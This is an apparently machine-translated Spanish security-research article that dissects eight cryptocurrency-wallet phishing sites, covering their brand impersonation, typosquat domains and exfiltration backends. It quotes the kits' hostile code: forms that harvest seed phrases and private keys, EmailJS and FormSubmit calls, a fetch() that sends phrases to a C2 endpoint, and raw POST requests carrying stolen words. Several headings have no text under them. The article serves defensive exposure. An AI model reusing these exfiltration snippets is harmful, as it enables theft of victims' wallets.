Anatomía del phishing relacionado con las criptomonedas:
Análisis de 8 ataques reales

Suplantación de identidad

Un «protocolo descentralizado» ficticio para la validación de monederos. Utiliza los tickers de precios en tiempo real de CryptoCompare y enlaces a exploradores de blockchain reales (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) para dar credibilidad al sitio. La página de inicio muestra más de 100 logotipos de monederos y un proceso de «validación» en tres pasos.

La cadena de exfiltración dual

El backend más sofisticado de los cinco: todas las credenciales robadas se envían a través de dos canales independientes al mismo tiempo:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

Conclusiones de OSINT

Suplantación de identidad

Una reproducción fiel al píxel de la realidad Aqualibre (AQLA) página de migración de tokens. El código HTML contiene una etiqueta de metadatos que revela la fuente: data-scrapbook-source="https://token.aqla.app/migration", con fecha del 19 de noviembre de 2024.

El enfoque «sin código»

Este atacante necesita sin código del lado del servidor. El formulario envía los datos directamente a No estático — un backend de formularios legítimo para sitios web estáticos. Cada envío se reenvía al correo electrónico del estafador. El correo electrónico del atacante es nunca aparece en el código fuente.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Suplantación de identidad

El subdominio contiene «safpal» — un error ortográfico deliberado de SafePal, una cartera de hardware muy popular. La página se hace pasar por «Blockchain Wallet Rectification» y cuenta con 26 categorías de noticias falsas. Utiliza Typed.js para animar los nombres de las cadenas (Ethereum, BSC, Polygon...) y un ticker de LiveCoinWatch para dar credibilidad.

¿El mismo equipo, el mismo operador?

Utiliza el exactamente la misma plantilla de phishing como emplazamiento n.º 2: idéntico connect.html, idéntico wallets.html con más de 60 logotipos, el mismo backend de Un-static (con un ID de formulario diferente — 6f1b82c3...da9943af). El hecho de que el kit sea idéntico sugiere claramente que un operador que gestiona ambos sitios.

Errores en el código: «Privay Policy» (falta una «c»), «seperated» (debería ser «separated»), «Kestore» (falta una «y»). El campo de contraseña utiliza type="text" en lugar de type="password".

Suplantación de identidad

Un clon casi perfecto del Red Flare portal: una auténtica cadena de bloques EVM de capa 1 con los protocolos FTSO y Data Connector. Reproduce a más de 30 socios del ecosistema, la navegación y la imagen de marca. Los favicons se cargan desde un dominio typosquat: portal.flaremainet.com (falta una «n» en «mainnet»).

Redundancia doble de EmailJS

El único sitio web que utiliza dos cuentas de EmailJS independientes al mismo tiempo para garantizar la redundancia frente a posibles caídas del servicio:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Asunto del correo electrónico para cada robo: "New Wallet Details from Flare".

Sitio n.º 4: anuncios de pago, seguimiento analítico y doble exfiltración: la operación más profesional

Suplantación de identidad

Un servicio genérico de «COIN NODE» / «Wallet Fix» (sin marca concreta). Copyright «Wallet Fix 2022»: esta plantilla del kit tiene al menos 4 años de antigüedad. Imágenes alojadas en pumpeth.com (WordPress en AWS).

Phishing como servicio

La arquitectura de backend más preocupante: una API multitenant basada en UUID:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

Cada estafador dispone de su propio punto final UUID. Un operador central se encarga de gestionar la API, realizar un seguimiento de las campañas y, posiblemente, quedarse con una parte de los fondos robados. Esto es robo industrializado de criptomonedas — un modelo de «phishing como servicio».

Infraestructura relacionada (prácticamente inactiva)

Suplantación de identidad

A operación en dos frentes: un «Centro de asistencia» genérico en wallet-support-39n.pages.dev con 15 categorías de emisión falsas y 39 marcas de carteras, además de un Clon de la guía de inicio de Ledger con un diseño perfecto al píxel en ledger-recovery.support alojado en Replit — que incluye la selección del modelo de dispositivo, la configuración del PIN y una cuadrícula con la frase semilla de 24 palabras con autocompletado BIP39 real.

Backend C2 anti-escáner

La página de asistencia del monedero envía los datos robados a api.uranustoken.org/log — un servidor C2 personalizado con nginx/Ubuntu detrás de Cloudflare. El backend desestima deliberadamente todas las solicitudes GET (devuelve el error 522 por tiempo de espera agotado), y solo responde a solicitudes POST. Esto significa que los escáneres de URL, los rastreadores de Google Safe Browsing y los investigadores de seguridad que envían solicitudes GET al punto final no obtienen ninguna respuesta: el C2 parece inactivo.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

El clon de Ledger ejecuta un backend independiente de Express.js en el propio Replit: POST /api/recovery-phrase recogida {deviceId, pin, phrase}. Devuelve 400 {"error":"Invalid data provided"} ante una entrada incorrecta — lo que confirma que el backend es en funcionamiento y en proceso de validación activa datos robados.

Conclusiones de OSINT

Suplantación de identidad

Una «plataforma de lanzamiento descentralizada» genérica con 21 categorías de cebos (Staking, migración, KYC, sorteos, canje de recompensas, recuperación de activos, preventa, acuñación de NFT, cuentas bloqueadas...) y Más de 70 marcas de carteras — una de las listas de carteras más completas que hemos encontrado. El error ortográfico revelador «Sychronize» (le falta una «n») delata que es falsa.

El proceso de envío de formularios

Usos FormSubmit.co — un servicio legítimo de envío de formularios por correo electrónico. El hash del punto final a2cf4131f1a5d39453c7c183df96f86f es el valor MD5 de la dirección de correo electrónico del estafador. Hemos probado por fuerza bruta cientos de patrones de direcciones de correo electrónico en Gmail, Yahoo, Hotmail, ProtonMail, Yandex y Mail.ru — no hay coincidencias. El estafador utiliza una dirección de correo electrónico poco habitual o generada al azar.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

Conclusiones de OSINT

Suplantación de identidad

Desconocido: tanto el frontend como el backend están fuera de línea. A juzgar por la estructura de la carga útil, se trataba de un programa diseñado para robar la frase semilla de un monedero criptográfico. El Depósito público de Cloudflare R2 (almacenamiento de objetos, no Pages) es un vector de phishing ampliamente documentado con más de 5.000 páginas maliciosas identificadas y un aumento del tráfico de 61 veces, según ha informado Netskope.

La configuración del «script kiddie»

El más operación primitiva en esta colección. Las frases de inicialización se envían palabra por palabra a un script PHP que se ejecuta en un ordenador doméstico o en un VPS protegido por un servicio gratuito de DNS dinámico:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

Conclusiones de OSINT